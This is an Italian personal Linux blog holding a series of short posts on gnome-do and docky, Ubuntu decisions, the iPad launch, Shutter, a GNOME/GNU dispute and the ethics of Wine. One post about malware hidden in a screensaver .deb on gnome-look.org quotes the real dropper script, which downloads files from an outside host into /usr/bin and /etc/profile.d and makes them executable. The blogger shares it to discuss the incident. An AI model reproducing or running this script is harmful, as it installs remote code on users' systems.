Gusions Blog

Usando la versione in sviluppo abbiamo quel che dico, appunto.

C’era una volta un progetto chiamato gnome-do o do come volete voi, che dopo un esponenziale  sviluppo si dotò di una sorta d’interfaccia grafica in stile dockbar, e venne sbatezzata con il nome di docky. Oggi dopo diversi mesi è arrivata la notizia che docky è finalmente scomparso da do (gnome-do per gli amici), dato che i due progetti si stavano limitando a vicenda (dice ossblog.it). Non sono d’accordo con questa affermazione, solamente vera in parte perché docky  dopo la separazione  (quando è nato il progetto docky a parte) è sempre sottoposto ad un massicio sviluppo mentre gnome do è un po’ più lento nel suo sviluppo e molto più leader nel settore degli apps-launcher. Leggi il resto di questo articolo »

Ultimamente accadono millemila cose che non ho il tempo di recensire, lo studio m’attira (forzatamente) a se’ e io devo rispondere sennò in estate potrò lasciare qua il sogno di andare a lavorare altrove… Detto ciò, possiamo passare ad una breve rassegna e appuntare delle piccole cose utili alla comprensione di questo bellissimo e invidiabile post che sto scrivendo. Leggi il resto di questo articolo »

In passato (non tanto passato) ho criticato Canonical e la sua politica di “costruzione” di un sistema operativo, non tutti ricorderanno  Ubuntu e lego, principi di costruzione di un sistema operativo! e  Ubuntu e lego, principi di costruzione di un sistema operativo! Pt.2.
Leggi il resto di questo articolo »

ATTENZIONE: Post che elogia un prodotto mono, il mondo sta finendo. Prepara le scorte di cibo e carica il pc non si sa mai che potrebbe accadere.

Leggi il resto di questo articolo »

iPad, iSlate, iJobs, iPacco o il qual si modo lo si voglia chiamare è tra noi. Da appassionato d’informatica mi sono seguito in live-blogging l’evento di casa cupertino, veramente interessato a vedere il tablet di casa cupertino all’opera e per la prima volta. Cioccolata calda, musica nelle orecchie e tanta buona pazienza ingredienti fondamentali per seguire un live-blogging (in inglese per giunta).  Avendo appreso che il suo nome reale sia: iPacc iPad  dopo una lunga presentazione e relative dimostrazioni, decido di aspettare un giorno per documentarmi meglio e poter stendere questo articolo. Dopo una lunga documentazione (alquanto incerta, data l’incertezza del tutto) cercherò di fornirvi un pò di informazioni su questo “gioiello” prodotto di casa Cupertino.

1. Caratteristiche tecniche iPad

Qualche post addietro lo definii un iphone gigante, sbagliai è l’evoluzione dell’ipod touch.
L’iPad avrà uno schermo di 9,7 pollici (circa 25 cm) ovviamente multitouch, il processore A4 (del quale vi parlerò tra poco) da ben 1.00 ghz, una risoluzione di 1024×768 px, la ram a noi comuni mortali non è ancora stata comunicata, 16, 32, 64 gb di storage interno (non espandibile ovviamente), nuove versione di wifi e bluetooth per la connettività, Hdspa per quanto riguarda la telefonia (eh? questo coso telefona pure?), una batteria con una durata di 10 ore in modalità eBook Reader), versione modificata di iPhone OS e un peso intorno ai 700 g.

2. Prezzo

Qualcuno dirà: Figo, ma quanto costa? Prima di guardare quest’immagine fatti un conto se hai meno di 500$ in tasca (anche se abbiamo gli euro) non potrai avere quell’aggeggio l’ultima novità Cupertiniana.

3. Novità

Vediamo il “primo tablet” dell’era dei tablet (non è nemmeno iniziata ma i fanboy mac la chiamano così). Introduce novità e non, vediamole un pò insieme:

1. Il processore Apple4 ovvero: “1GHz Apple A4 custom-designed, high-performance, low-power system-on-a-chip”
2. La nuova applicazione iBooks, l’applicazione creata appositamente per  l’iPad per leggere gli ebook (elementare watson no?)
3. Suite iWork per iPad, innovata secondo alcuni…
4. Sdk per iPad

5. Sistema operativo

Il sistema operativo è una derivazione dell’iphone os (eh?), tenendo conto che sarà possibile far girare le applicazioni per iphone la novità dove sta? Ah si è iphone os  3.2.

6. Assenze

Eh? Dove è la fotocamera? L’usb? Mah mi spiegheranno se questi “accessori” fanno così schifo..

7. Cos’è realmente iPad?

Al nuovo arrivato (per modo di dire) di casa Cupertino manca d’identità secondo me. Ovvero l’ipad è una via di mezzo tra iphone e ipod touch. Non è né un computer né un iphone. Allora qual’è la sua identità?

Gus.

No, no tranquilli non è il solo posto monomaniacale dove attacco mono ed eventuali, questa volta riporto una mia personale sega mentale idea che m’è passata questo pomeriggio pensando ad un post. Parlo di Shutter, software per la modifica e la cattura di immagini, dotato di numerosi plugin davvero utili che rendono la vita di (noi) blogger migliore, più semplice e meno pensati gli interventi grafici. Dato la sorta di “polverone” sollevatosi sulla possibile sostituzione f-spot, rimarà installata di default anche su ubuntu lucid. Ma data la futura integrazione di Eog (Eye of Gnome) e F-spot (l’ennesimo esperimento in una lts), io ne propongo una mia: Aggiungere all’ottimo shutter la funzione di gestore d’immagini. Si si, la cosa è parecchio demenziale però potrebbe venirsi a creare un prodotto “all in one” , di spessore e piuttosto affidabile?!

Eutopia?

Prima era una banale ipotesi, ora è una decisione vera e propria: Cambio distro. Ormai l’esperienza con ubuntu è finita, ciò non vuol dire che non v’aggiornerò anche sulle novità del mondo ubuntu e non bloccherò lo sviluppo di ubucompilator

Il vostro blogger preferito cambia aria… Ma che aria? Archlinux, Gentoo o debian? Mboh… Chiedo a voi super nerd e non

Eccomi qua ritornato a scassare parecchio per quel che riguarda ubuntu in generale, e i principi di costruzione di un sistema operativo che a mio parere potrebbe creare un prodotto assemblato di elevatissima qualità,superiore ai big del settore.
A proseguo degli otto punti che ho elencato nella parte uno di questo post link ecco altre “chicche del settore”:

Leggi il resto di questo articolo »

iSlate si chiamerà, ma secondo me è un iPhone gigante.

Sbaglio o questa è la nuova modalità doppio pannello di Nautilus che avremo su Ubuntu Lucid Lynx? Questa funzione c’è da un bel po di tempo su gnome-commander. Un bel ritorno al passato?

Troppo debian? Farò nuovamente un salto su debian? Chi lo sa

Voi penserete: che ci fa questo stronzo qua il 31 dicembre a scrivere articoli?…

Ebbene si, sono appena venuto a saper che ubuntu avrebbe fatto partire progetto della creazione di un ramo instabile con nome in codice Grumpy Groundhog!

Sensazionale oserei dire, cioè immaginiamoci una Ubuntu squeeze! Per i smanettoni come me che amano avere il software sempre aggiornato sarebbe una manna dal cielo! Una ubuntu rolling release? Magari…

Peccato che sia tutto finito prima di iniziare.

Saluti, Gusions.

Da assiduo user gnome e promotore (a mio modo) del free software vengo a riportare una notizia un pò strana: I vertici di gnome vogliono estromettere GNU dal progetto gnome.

La sconvolgente strana notizia che m’arriva leggendo le pagine di ossblog mi ha un pò spiazzato. Leggendo dalla fonte che ossblog riporta trovo questo passo un pò strano :

Stormy Peters claims she doesn’t agree with this but then gives everyone instructions on how to achieve this goal. She mentions that roughly 20 members are needed to agree.

Cioè Stormy Peteres non accetta il tutto però dice come portare avanti il tutto?

-Ma ora da cosa è nato tutto?

Pare che tutto sia nato da una discutibile (da ambedue le parti) affermazione di Stallman che diceva che il planet gnome non avrebbe dovuto pubblicizzare sofotware non libero.

-Quali potrebbero essere le conseguenze?

Tante, da un idea di un gnome non gnu potrebbero nascere molte, troppe ipotesi ed ora vi esporrò qualcosa di personale:

* Un gnome non GNU porterebbe un irreparabile danno al software GNU ed ai movimenti opensource in generale facendone una brutta pubblicità e relativa immagine

* Introduzione di software mono in maniera eccessiva

* Possibile finanziamento di Microsoft per l’utilizzo di software dell’accopiata novell-microsoft

* Ipotetico passaggio a C# da parte di Gnome

E tanti altri scenari che deriverebbero da questa esclusione “celebre”

In questi giorni tutti parlano dei famosi virus su gnu/linux hostati su gnome-look.org camuffati in un .deb di uno screensaver…

C’è già chi parla di vulnerabilità di gnu/linux, la sua non più sicurezza impenetrabile e cazzatelle varie, ora grazie alla segnalazione di Airport vi mostrerò uno degli script incriminati:

#!/bin/sh
cd /usr/bin/
rm Auto.bash
sleep 1
wget http://05748.t35.com/Bots/Auto.bash
chmod 777 Auto.bash
echo -----------------
cd /etc/profile.d/
rm gnome.sh
sleep 1
wget http://05748.t35.com/Bots/gnome.sh
chmod 777 gnome.sh
echo -----------------
clear
exit

Super n00b o cosa?

Regards, Gusions.

Script preso da qua

Oggi sul web leggevo un articolo che (non trovo) che vedeva wine con un ottica diversa, un pò alla Richard Stallman, e pensandoci su mi sono posto una domanda che vi pongo: “È eticamente corretto utilizzare wine  che pur essendo software libero  permette di far girare software proprietario?”

A voi, Gusions.